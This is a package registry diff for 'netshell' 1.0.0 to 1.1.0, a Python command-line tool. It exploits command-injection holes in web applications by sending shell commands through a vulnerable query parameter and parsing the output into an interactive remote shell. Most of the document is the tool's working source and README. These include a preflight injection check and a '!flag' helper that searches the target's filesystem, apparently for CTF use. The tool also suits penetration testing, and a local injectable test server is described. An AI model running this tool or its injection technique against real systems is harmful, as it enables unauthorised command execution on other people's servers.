netshell 1.0.0__tar.gz → 1.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {netshell-1.0.0/src/netshell.egg-info → netshell-1.1.0}/PKG-INFO +47 -3
- netshell-1.1.0/README.md +61 -0
- {netshell-1.0.0 → netshell-1.1.0}/pyproject.toml +3 -1
- netshell-1.1.0/src/netshell/main.py +220 -0
- {netshell-1.0.0 → netshell-1.1.0/src/netshell.egg-info}/PKG-INFO +47 -3
- netshell-1.1.0/src/netshell.egg-info/requires.txt +3 -0
- netshell-1.0.0/README.md +0 -19
- netshell-1.0.0/src/netshell/main.py +0 -131
- netshell-1.0.0/src/netshell.egg-info/requires.txt +0 -1
- {netshell-1.0.0 → netshell-1.1.0}/LICENSE +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/setup.cfg +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/src/netshell/__init__.py +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/src/netshell.egg-info/SOURCES.txt +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/src/netshell.egg-info/dependency_links.txt +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/src/netshell.egg-info/entry_points.txt +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/src/netshell.egg-info/top_level.txt +0 -0
- {netshell-1.0.0 → netshell-1.1.0}/test/testserver.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: netshell
|
|
3
|
-
Version: 1.
|
|
3
|
+
Version: 1.1.0
|
|
4
4
|
Summary: A CLI HTTP shell to connect to remote shells
|
|
5
5
|
Author: Richard A. Dubniczky
|
|
6
6
|
License: MIT License
|
|
@@ -29,13 +29,29 @@ Requires-Python: >=3.9
|
|
|
29
29
|
Description-Content-Type: text/markdown
|
|
30
30
|
License-File: LICENSE
|
|
31
31
|
Requires-Dist: requests>=2.33.1
|
|
32
|
+
Requires-Dist: urllib3>=2.6.3
|
|
33
|
+
Requires-Dist: prompt_toolkit>=3.0.52
|
|
32
34
|
Dynamic: license-file
|
|
33
35
|
|
|
34
|
-
#
|
|
36
|
+
# Netshell
|
|
35
37
|
|
|
36
38
|
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
37
39
|
|
|
38
|
-
##
|
|
40
|
+
## Installation
|
|
41
|
+
|
|
42
|
+
Install using pip:
|
|
43
|
+
|
|
44
|
+
```sh
|
|
45
|
+
pip install netshell
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
or manually by downloading the git repository:
|
|
49
|
+
|
|
50
|
+
```sh
|
|
51
|
+
git clone https://github.com/dubniczky/Netshell
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Usage
|
|
39
55
|
|
|
40
56
|
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
41
57
|
|
|
@@ -50,3 +66,31 @@ www-data
|
|
|
50
66
|
```
|
|
51
67
|
|
|
52
68
|
Use `httpshell --help` for all flags and options.
|
|
69
|
+
|
|
70
|
+
Command line options:
|
|
71
|
+
- `-h`, `--help` - show this help message and exit
|
|
72
|
+
- `--address`, `-a` _ADDRESS_ Target address containing the full path. E.g., http://example.com/vulnerable.php
|
|
73
|
+
- `--parameter`, `-p` _PARAMETER_ Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
|
|
74
|
+
- -`-cookies`, `-c` _COOKIES_ Use cookies for the request
|
|
75
|
+
- -`-agent` _AGENT_ Set a custom User-Agent header for the requests
|
|
76
|
+
- `--prefix`, `-P` _PREFIX_ Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
|
|
77
|
+
- `--suffix`, `-S` _SUFFIX_ Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
|
|
78
|
+
- `--verbose`, `-v` Verbose output
|
|
79
|
+
- `--no-url-encode` Disable URL encoding of commands
|
|
80
|
+
- `--no-preflight` Skip preflight checks and go straight to the shell interface
|
|
81
|
+
|
|
82
|
+
## Testing
|
|
83
|
+
|
|
84
|
+
The `/test` folder contains a simple injectable web server that can be started using Docker Compose.
|
|
85
|
+
|
|
86
|
+
```sh
|
|
87
|
+
cd test
|
|
88
|
+
docker compose up
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
The injectable point is at `/good` path with the `p` query parameter. By contrast the `/bad` path is not injectable.
|
|
92
|
+
|
|
93
|
+
Then starting the shell
|
|
94
|
+
```sh
|
|
95
|
+
netshell -a http://localhost:8000/good -p q
|
|
96
|
+
```
|
netshell-1.1.0/README.md
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
# Netshell
|
|
2
|
+
|
|
3
|
+
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
Install using pip:
|
|
8
|
+
|
|
9
|
+
```sh
|
|
10
|
+
pip install netshell
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
or manually by downloading the git repository:
|
|
14
|
+
|
|
15
|
+
```sh
|
|
16
|
+
git clone https://github.com/dubniczky/Netshell
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Usage
|
|
20
|
+
|
|
21
|
+
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
22
|
+
|
|
23
|
+
```sh
|
|
24
|
+
httpshell -a http://example.com/vln.php -p q
|
|
25
|
+
```
|
|
26
|
+
```txt
|
|
27
|
+
Connection successful!
|
|
28
|
+
|
|
29
|
+
example.com > whoami
|
|
30
|
+
www-data
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
Use `httpshell --help` for all flags and options.
|
|
34
|
+
|
|
35
|
+
Command line options:
|
|
36
|
+
- `-h`, `--help` - show this help message and exit
|
|
37
|
+
- `--address`, `-a` _ADDRESS_ Target address containing the full path. E.g., http://example.com/vulnerable.php
|
|
38
|
+
- `--parameter`, `-p` _PARAMETER_ Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
|
|
39
|
+
- -`-cookies`, `-c` _COOKIES_ Use cookies for the request
|
|
40
|
+
- -`-agent` _AGENT_ Set a custom User-Agent header for the requests
|
|
41
|
+
- `--prefix`, `-P` _PREFIX_ Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
|
|
42
|
+
- `--suffix`, `-S` _SUFFIX_ Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
|
|
43
|
+
- `--verbose`, `-v` Verbose output
|
|
44
|
+
- `--no-url-encode` Disable URL encoding of commands
|
|
45
|
+
- `--no-preflight` Skip preflight checks and go straight to the shell interface
|
|
46
|
+
|
|
47
|
+
## Testing
|
|
48
|
+
|
|
49
|
+
The `/test` folder contains a simple injectable web server that can be started using Docker Compose.
|
|
50
|
+
|
|
51
|
+
```sh
|
|
52
|
+
cd test
|
|
53
|
+
docker compose up
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
The injectable point is at `/good` path with the `p` query parameter. By contrast the `/bad` path is not injectable.
|
|
57
|
+
|
|
58
|
+
Then starting the shell
|
|
59
|
+
```sh
|
|
60
|
+
netshell -a http://localhost:8000/good -p q
|
|
61
|
+
```
|
|
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "netshell"
|
|
7
|
-
version = "1.
|
|
7
|
+
version = "1.1.0"
|
|
8
8
|
description = "A CLI HTTP shell to connect to remote shells"
|
|
9
9
|
readme = "README.md"
|
|
10
10
|
authors = [{ name = "Richard A. Dubniczky" }]
|
|
@@ -12,6 +12,8 @@ license = { file = "LICENSE" }
|
|
|
12
12
|
requires-python = ">=3.9"
|
|
13
13
|
dependencies = [
|
|
14
14
|
"requests>=2.33.1",
|
|
15
|
+
"urllib3>=2.6.3",
|
|
16
|
+
"prompt_toolkit>=3.0.52",
|
|
15
17
|
]
|
|
16
18
|
|
|
17
19
|
[project.urls]
|
|
@@ -0,0 +1,220 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import random
|
|
3
|
+
import string
|
|
4
|
+
import argparse
|
|
5
|
+
from html import unescape
|
|
6
|
+
|
|
7
|
+
import urllib.parse
|
|
8
|
+
from urllib.parse import urlsplit, urlunsplit, parse_qsl, urlencode
|
|
9
|
+
import requests
|
|
10
|
+
from prompt_toolkit import PromptSession
|
|
11
|
+
from prompt_toolkit.history import FileHistory
|
|
12
|
+
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
VERSION = "1.1.0"
|
|
16
|
+
HISTORY_LOCATION = ".netshell_history"
|
|
17
|
+
QUERY_PLACEHOLDER = "--NETSHELL_PLACEHOLDER--"
|
|
18
|
+
|
|
19
|
+
# Configuration
|
|
20
|
+
address : str
|
|
21
|
+
parameter : str
|
|
22
|
+
url_encode = True
|
|
23
|
+
verbose = False
|
|
24
|
+
cookies = None
|
|
25
|
+
user_agent = None
|
|
26
|
+
prefix = None
|
|
27
|
+
suffix = None
|
|
28
|
+
no_preflight = False
|
|
29
|
+
no_history = False
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def voutput(message):
|
|
33
|
+
if verbose:
|
|
34
|
+
print(f'[i] {message}')
|
|
35
|
+
|
|
36
|
+
def random_string(length=8):
|
|
37
|
+
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def extract_markers(response_text, start_marker, end_marker):
|
|
41
|
+
start_index = response_text.find(start_marker)
|
|
42
|
+
end_index = response_text.find(end_marker, start_index + len(start_marker))
|
|
43
|
+
|
|
44
|
+
if start_index == -1 or end_index == -1:
|
|
45
|
+
return None
|
|
46
|
+
|
|
47
|
+
return response_text[start_index + len(start_marker):end_index].strip()
|
|
48
|
+
|
|
49
|
+
def set_query_param(address: str, key: str, value: str) -> str:
|
|
50
|
+
parts = urlsplit(address)
|
|
51
|
+
query = dict(parse_qsl(parts.query, keep_blank_values=True))
|
|
52
|
+
query[key] = value
|
|
53
|
+
new_query = urlencode(query)
|
|
54
|
+
return urlunsplit((parts.scheme, parts.netloc, parts.path, new_query, parts.fragment))
|
|
55
|
+
|
|
56
|
+
def send_command(command):
|
|
57
|
+
start_marker = f"--{random_string(8)}--"
|
|
58
|
+
end_marker = f"--{random_string(8)}--"
|
|
59
|
+
wrapped_command = f"echo {start_marker};{command};echo {end_marker}"
|
|
60
|
+
|
|
61
|
+
if prefix:
|
|
62
|
+
wrapped_command = f"{prefix}{wrapped_command}"
|
|
63
|
+
if suffix:
|
|
64
|
+
wrapped_command = f"{wrapped_command}{suffix}"
|
|
65
|
+
|
|
66
|
+
if url_encode:
|
|
67
|
+
wrapped_command = urllib.parse.quote(wrapped_command)
|
|
68
|
+
|
|
69
|
+
# Insert a placeholder in the URL and replace it with the wrapped command to ensure proper encoding and avoid issues with special characters in the command
|
|
70
|
+
url = set_query_param(address, parameter, QUERY_PLACEHOLDER)
|
|
71
|
+
url = url.replace(QUERY_PLACEHOLDER, wrapped_command)
|
|
72
|
+
|
|
73
|
+
voutput(f"Sent command: {url}")
|
|
74
|
+
if len(url) > 2000:
|
|
75
|
+
print(f"The URL length is very long: {len(url)} characters. Some servers may not process it correctly.")
|
|
76
|
+
response = requests.get(url, cookies=cookies, headers={'User-Agent': user_agent} if user_agent else None)
|
|
77
|
+
voutput(f"Status code: {response.status_code}")
|
|
78
|
+
voutput(f"Response size: {len(response.text)}")
|
|
79
|
+
|
|
80
|
+
if response.status_code != 200:
|
|
81
|
+
print(f"[!] Command execution failed with status code: {response.status_code} and response: {response.text}")
|
|
82
|
+
return None
|
|
83
|
+
|
|
84
|
+
unescaped_response = unescape(response.text)
|
|
85
|
+
return extract_markers(unescaped_response, start_marker, end_marker)
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def preflight_request():
|
|
89
|
+
preflight_random = random_string(16)
|
|
90
|
+
preflight_echo = f"echo {preflight_random}"
|
|
91
|
+
|
|
92
|
+
response = send_command(preflight_echo)
|
|
93
|
+
if not response:
|
|
94
|
+
print("[!] Preflight request failed: No echo response received meaning the injection might not work properly.")
|
|
95
|
+
return False
|
|
96
|
+
if preflight_random not in response:
|
|
97
|
+
print("[!] Preflight request failed: Could not verify command output.")
|
|
98
|
+
return False
|
|
99
|
+
return True
|
|
100
|
+
|
|
101
|
+
|
|
102
|
+
def command_flag() -> bool:
|
|
103
|
+
find_command = 'find / -type f -name "*flag*" 2>/dev/null'
|
|
104
|
+
response = send_command(find_command)
|
|
105
|
+
if not response:
|
|
106
|
+
return False
|
|
107
|
+
|
|
108
|
+
paths = response.strip().splitlines()
|
|
109
|
+
prime_candidates = []
|
|
110
|
+
for path in paths:
|
|
111
|
+
if path.endswith("flag.txt") or path.endswith("flag.md"):
|
|
112
|
+
prime_candidates.append(path)
|
|
113
|
+
print(f"[] Prime candidates for flag files:\n{'\\n'.join(prime_candidates)}\n")
|
|
114
|
+
print(f"[] All found files:\n{response}")
|
|
115
|
+
return True
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
def command_save(command: str, content: str) -> bool:
|
|
119
|
+
path = command[len('!save '):].strip()
|
|
120
|
+
if not path:
|
|
121
|
+
print("[!] No file path provided. Usage: !save <local_file_path>")
|
|
122
|
+
return False
|
|
123
|
+
|
|
124
|
+
# Get full path
|
|
125
|
+
full_path = os.path.abspath(path)
|
|
126
|
+
|
|
127
|
+
try:
|
|
128
|
+
with open(full_path, 'w') as f:
|
|
129
|
+
f.write(content)
|
|
130
|
+
except Exception as e:
|
|
131
|
+
print(f"[!] Error saving file: {e}")
|
|
132
|
+
return False
|
|
133
|
+
|
|
134
|
+
print(f"[i] Output saved to {full_path}")
|
|
135
|
+
return True
|
|
136
|
+
|
|
137
|
+
|
|
138
|
+
def main():
|
|
139
|
+
global address, parameter, url_encode, verbose, cookies, user_agent, prefix, suffix, no_preflight
|
|
140
|
+
parser = argparse.ArgumentParser(description=f"Netshell v{VERSION} - A lightweight HTTP CLI Shell that enables custom command injections into vulnerable web applications with a familiar shell-like interface.")
|
|
141
|
+
parser.add_argument("--address", "-a", help="Target address containing the full path. E.g., http://example.com/vulnerable.php")
|
|
142
|
+
parser.add_argument("--parameter", "-p", help="Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...")
|
|
143
|
+
parser.add_argument("--cookies", "-c", help="Use cookies for the request")
|
|
144
|
+
parser.add_argument("--agent", help="Set a custom User-Agent header for the requests")
|
|
145
|
+
parser.add_argument("--prefix", "-P", help="Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
|
|
146
|
+
parser.add_argument("--suffix", "-S", help="Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
|
|
147
|
+
|
|
148
|
+
|
|
149
|
+
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
|
|
150
|
+
parser.add_argument("--no-url-encode", action="store_true", help="Disable URL encoding of commands")
|
|
151
|
+
parser.add_argument("--no-preflight", action="store_true", help="Skip preflight checks and go straight to the shell interface")
|
|
152
|
+
parser.add_argument("--no-history", action="store_true", help=f"Skip saving command history into {HISTORY_LOCATION} file")
|
|
153
|
+
|
|
154
|
+
args = parser.parse_args()
|
|
155
|
+
|
|
156
|
+
address = args.address
|
|
157
|
+
parameter = args.parameter
|
|
158
|
+
url_encode = not args.no_url_encode
|
|
159
|
+
verbose = args.verbose
|
|
160
|
+
cookies = args.cookies
|
|
161
|
+
user_agent = args.agent
|
|
162
|
+
prefix = args.prefix
|
|
163
|
+
suffix = args.suffix
|
|
164
|
+
no_preflight = args.no_preflight
|
|
165
|
+
|
|
166
|
+
if not no_preflight:
|
|
167
|
+
is_successful = preflight_request()
|
|
168
|
+
if is_successful:
|
|
169
|
+
print("Connection successful!")
|
|
170
|
+
else:
|
|
171
|
+
print("Skipping preflight checks.")
|
|
172
|
+
|
|
173
|
+
host_name = urllib.parse.urlparse(address).netloc
|
|
174
|
+
|
|
175
|
+
print(f"Entering interactive shell: all commands except ones starting with ! are sent to the server.\nType '!exit' or Ctrl+C to leave and '!help' for available Netshell commands.")
|
|
176
|
+
|
|
177
|
+
# Shell-like environment
|
|
178
|
+
session = PromptSession(
|
|
179
|
+
history=FileHistory(HISTORY_LOCATION) if not no_history else None,
|
|
180
|
+
auto_suggest=AutoSuggestFromHistory(),
|
|
181
|
+
)
|
|
182
|
+
output = None
|
|
183
|
+
try:
|
|
184
|
+
while True:
|
|
185
|
+
command = session.prompt(f"\n{host_name} > ")
|
|
186
|
+
if command.lower().startswith('!exit'):
|
|
187
|
+
print("Exiting shell.")
|
|
188
|
+
break
|
|
189
|
+
elif command.lower().startswith('!help'):
|
|
190
|
+
print("\nAll Netshell commands start with '!' and are used to control the shell or automate tasks. Other commands are sent to the server. All command only work on Linux systems. Available commands:")
|
|
191
|
+
print(" !exit - Exit the shell")
|
|
192
|
+
print(" !help - Show this help message")
|
|
193
|
+
print(" !flag - Search for files with 'flag' in their name and display potential candidates")
|
|
194
|
+
print(" !save <local_file_path> - Save the output of the last command to a local file on your machine. E.g., '!save output.txt'")
|
|
195
|
+
print("\nAuthor: Richard A. Dubniczky, https://dubniczky.com")
|
|
196
|
+
print("Source: https://github.com/dubniczky/Netshell")
|
|
197
|
+
elif command.lower().startswith('!flag'):
|
|
198
|
+
if not command_flag():
|
|
199
|
+
print("[!] There was an error while searching for flag files.")
|
|
200
|
+
elif command.lower().startswith('!save'):
|
|
201
|
+
if not output:
|
|
202
|
+
print("[!] No command output available to save.")
|
|
203
|
+
continue
|
|
204
|
+
command_save(command, output)
|
|
205
|
+
elif command.startswith('!'):
|
|
206
|
+
print(f"[!] Unknown Netshell command: {command}. Type '!help' for available commands.")
|
|
207
|
+
|
|
208
|
+
try:
|
|
209
|
+
output = send_command(command)
|
|
210
|
+
except Exception as e:
|
|
211
|
+
print(f"[!] Error occurred while sending command: {e}")
|
|
212
|
+
continue
|
|
213
|
+
|
|
214
|
+
print(f"{output}")
|
|
215
|
+
except KeyboardInterrupt:
|
|
216
|
+
print("\nExiting shell.")
|
|
217
|
+
|
|
218
|
+
|
|
219
|
+
if __name__ == "__main__":
|
|
220
|
+
main()
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: netshell
|
|
3
|
-
Version: 1.
|
|
3
|
+
Version: 1.1.0
|
|
4
4
|
Summary: A CLI HTTP shell to connect to remote shells
|
|
5
5
|
Author: Richard A. Dubniczky
|
|
6
6
|
License: MIT License
|
|
@@ -29,13 +29,29 @@ Requires-Python: >=3.9
|
|
|
29
29
|
Description-Content-Type: text/markdown
|
|
30
30
|
License-File: LICENSE
|
|
31
31
|
Requires-Dist: requests>=2.33.1
|
|
32
|
+
Requires-Dist: urllib3>=2.6.3
|
|
33
|
+
Requires-Dist: prompt_toolkit>=3.0.52
|
|
32
34
|
Dynamic: license-file
|
|
33
35
|
|
|
34
|
-
#
|
|
36
|
+
# Netshell
|
|
35
37
|
|
|
36
38
|
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
37
39
|
|
|
38
|
-
##
|
|
40
|
+
## Installation
|
|
41
|
+
|
|
42
|
+
Install using pip:
|
|
43
|
+
|
|
44
|
+
```sh
|
|
45
|
+
pip install netshell
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
or manually by downloading the git repository:
|
|
49
|
+
|
|
50
|
+
```sh
|
|
51
|
+
git clone https://github.com/dubniczky/Netshell
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Usage
|
|
39
55
|
|
|
40
56
|
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
41
57
|
|
|
@@ -50,3 +66,31 @@ www-data
|
|
|
50
66
|
```
|
|
51
67
|
|
|
52
68
|
Use `httpshell --help` for all flags and options.
|
|
69
|
+
|
|
70
|
+
Command line options:
|
|
71
|
+
- `-h`, `--help` - show this help message and exit
|
|
72
|
+
- `--address`, `-a` _ADDRESS_ Target address containing the full path. E.g., http://example.com/vulnerable.php
|
|
73
|
+
- `--parameter`, `-p` _PARAMETER_ Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
|
|
74
|
+
- -`-cookies`, `-c` _COOKIES_ Use cookies for the request
|
|
75
|
+
- -`-agent` _AGENT_ Set a custom User-Agent header for the requests
|
|
76
|
+
- `--prefix`, `-P` _PREFIX_ Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
|
|
77
|
+
- `--suffix`, `-S` _SUFFIX_ Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
|
|
78
|
+
- `--verbose`, `-v` Verbose output
|
|
79
|
+
- `--no-url-encode` Disable URL encoding of commands
|
|
80
|
+
- `--no-preflight` Skip preflight checks and go straight to the shell interface
|
|
81
|
+
|
|
82
|
+
## Testing
|
|
83
|
+
|
|
84
|
+
The `/test` folder contains a simple injectable web server that can be started using Docker Compose.
|
|
85
|
+
|
|
86
|
+
```sh
|
|
87
|
+
cd test
|
|
88
|
+
docker compose up
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
The injectable point is at `/good` path with the `p` query parameter. By contrast the `/bad` path is not injectable.
|
|
92
|
+
|
|
93
|
+
Then starting the shell
|
|
94
|
+
```sh
|
|
95
|
+
netshell -a http://localhost:8000/good -p q
|
|
96
|
+
```
|
netshell-1.0.0/README.md
DELETED
|
@@ -1,19 +0,0 @@
|
|
|
1
|
-
# HTTP Shell
|
|
2
|
-
|
|
3
|
-
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
|
|
4
|
-
|
|
5
|
-
## Examples
|
|
6
|
-
|
|
7
|
-
The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
|
|
8
|
-
|
|
9
|
-
```sh
|
|
10
|
-
httpshell -a http://example.com/vln.php -p q
|
|
11
|
-
```
|
|
12
|
-
```txt
|
|
13
|
-
Connection successful!
|
|
14
|
-
|
|
15
|
-
example.com > whoami
|
|
16
|
-
www-data
|
|
17
|
-
```
|
|
18
|
-
|
|
19
|
-
Use `httpshell --help` for all flags and options.
|
|
@@ -1,131 +0,0 @@
|
|
|
1
|
-
import random
|
|
2
|
-
import string
|
|
3
|
-
import argparse
|
|
4
|
-
from html import unescape
|
|
5
|
-
import urllib.parse
|
|
6
|
-
|
|
7
|
-
import requests
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
# Configuration
|
|
11
|
-
address = None
|
|
12
|
-
parameter = None
|
|
13
|
-
url_encode = True
|
|
14
|
-
verbose = False
|
|
15
|
-
cookies = None
|
|
16
|
-
user_agent = None
|
|
17
|
-
prefix = None
|
|
18
|
-
suffix = None
|
|
19
|
-
no_preflight = False
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
def voutput(message):
|
|
23
|
-
if verbose:
|
|
24
|
-
print(f'[i] {message}')
|
|
25
|
-
|
|
26
|
-
def random_string(length=8):
|
|
27
|
-
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
def extract_markers(response_text, start_marker, end_marker):
|
|
31
|
-
start_index = response_text.find(start_marker)
|
|
32
|
-
end_index = response_text.find(end_marker, start_index + len(start_marker))
|
|
33
|
-
|
|
34
|
-
if start_index == -1 or end_index == -1:
|
|
35
|
-
return None
|
|
36
|
-
|
|
37
|
-
return response_text[start_index + len(start_marker):end_index].strip()
|
|
38
|
-
|
|
39
|
-
def send_command(command):
|
|
40
|
-
start_marker = f"--{random_string(8)}--"
|
|
41
|
-
end_marker = f"--{random_string(8)}--"
|
|
42
|
-
wrapped_command = f"echo {start_marker};{command};echo {end_marker}"
|
|
43
|
-
|
|
44
|
-
if prefix:
|
|
45
|
-
wrapped_command = f"{prefix}{wrapped_command}"
|
|
46
|
-
if suffix:
|
|
47
|
-
wrapped_command = f"{wrapped_command}{suffix}"
|
|
48
|
-
|
|
49
|
-
if url_encode:
|
|
50
|
-
wrapped_command = urllib.parse.quote(wrapped_command)
|
|
51
|
-
|
|
52
|
-
url = f"{address}?{parameter}={wrapped_command}"
|
|
53
|
-
voutput(f"Sent command: {url}")
|
|
54
|
-
response = requests.get(url, cookies=cookies, headers={'User-Agent': user_agent} if user_agent else None)
|
|
55
|
-
voutput(f"Status code: {response.status_code}")
|
|
56
|
-
voutput(f"Response size: {len(response.text)}")
|
|
57
|
-
|
|
58
|
-
if response.status_code != 200:
|
|
59
|
-
print(f"[!] Command execution failed with status code: {response.status_code} and response: {response.text}")
|
|
60
|
-
return None
|
|
61
|
-
|
|
62
|
-
unescaped_response = unescape(response.text)
|
|
63
|
-
return extract_markers(unescaped_response, start_marker, end_marker)
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
def preflight_request():
|
|
67
|
-
preflight_random = random_string(16)
|
|
68
|
-
preflight_echo = f"echo {preflight_random}"
|
|
69
|
-
|
|
70
|
-
response = send_command(preflight_echo)
|
|
71
|
-
if not response:
|
|
72
|
-
print("[!] Preflight request failed: No response received.")
|
|
73
|
-
return False
|
|
74
|
-
if preflight_random not in response:
|
|
75
|
-
print("[!] Preflight request failed: Could not verify command output.")
|
|
76
|
-
return False
|
|
77
|
-
return True
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
def main():
|
|
81
|
-
global address, parameter, url_encode, verbose, cookies, user_agent, prefix, suffix, no_preflight
|
|
82
|
-
parser = argparse.ArgumentParser(description=" A lightweight HTTP CLI Shell that enables custom command injections into vulnerable web applications with a familiar shell-like interface.")
|
|
83
|
-
parser.add_argument("--address", "-a", help="Target address containing the full path. E.g., http://example.com/vulnerable.php")
|
|
84
|
-
parser.add_argument("--parameter", "-p", help="Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...")
|
|
85
|
-
parser.add_argument("--cookies", "-c", help="Use cookies for the request")
|
|
86
|
-
parser.add_argument("--agent", help="Set a custom User-Agent header for the requests")
|
|
87
|
-
parser.add_argument("--prefix", "-P", help="Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
|
|
88
|
-
parser.add_argument("--suffix", "-S", help="Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
|
|
92
|
-
parser.add_argument("--no-url-encode", action="store_true", help="Disable URL encoding of commands")
|
|
93
|
-
parser.add_argument("--no-preflight", action="store_true", help="Skip preflight checks and go straight to the shell interface")
|
|
94
|
-
|
|
95
|
-
args = parser.parse_args()
|
|
96
|
-
|
|
97
|
-
address = args.address
|
|
98
|
-
parameter = args.parameter
|
|
99
|
-
url_encode = not args.no_url_encode
|
|
100
|
-
verbose = args.verbose
|
|
101
|
-
cookies = args.cookies
|
|
102
|
-
user_agent = args.agent
|
|
103
|
-
prefix = args.prefix
|
|
104
|
-
suffix = args.suffix
|
|
105
|
-
no_preflight = args.no_preflight
|
|
106
|
-
|
|
107
|
-
if not no_preflight:
|
|
108
|
-
is_successful = preflight_request()
|
|
109
|
-
if is_successful:
|
|
110
|
-
print("Connection successful!")
|
|
111
|
-
else:
|
|
112
|
-
print("Skipping preflight checks.")
|
|
113
|
-
|
|
114
|
-
host_name = urllib.parse.urlparse(address).netloc
|
|
115
|
-
|
|
116
|
-
# Shell-like environment
|
|
117
|
-
while True:
|
|
118
|
-
command = input(f"\n{host_name} > ")
|
|
119
|
-
if command.lower() in ['exit', 'quit']:
|
|
120
|
-
print("Exiting shell.")
|
|
121
|
-
break
|
|
122
|
-
|
|
123
|
-
output = send_command(command)
|
|
124
|
-
if output is not None:
|
|
125
|
-
print(f"{output}")
|
|
126
|
-
else:
|
|
127
|
-
print("[!] Failed to retrieve command output.")
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
if __name__ == "__main__":
|
|
131
|
-
main()
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
requests>=2.33.1
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|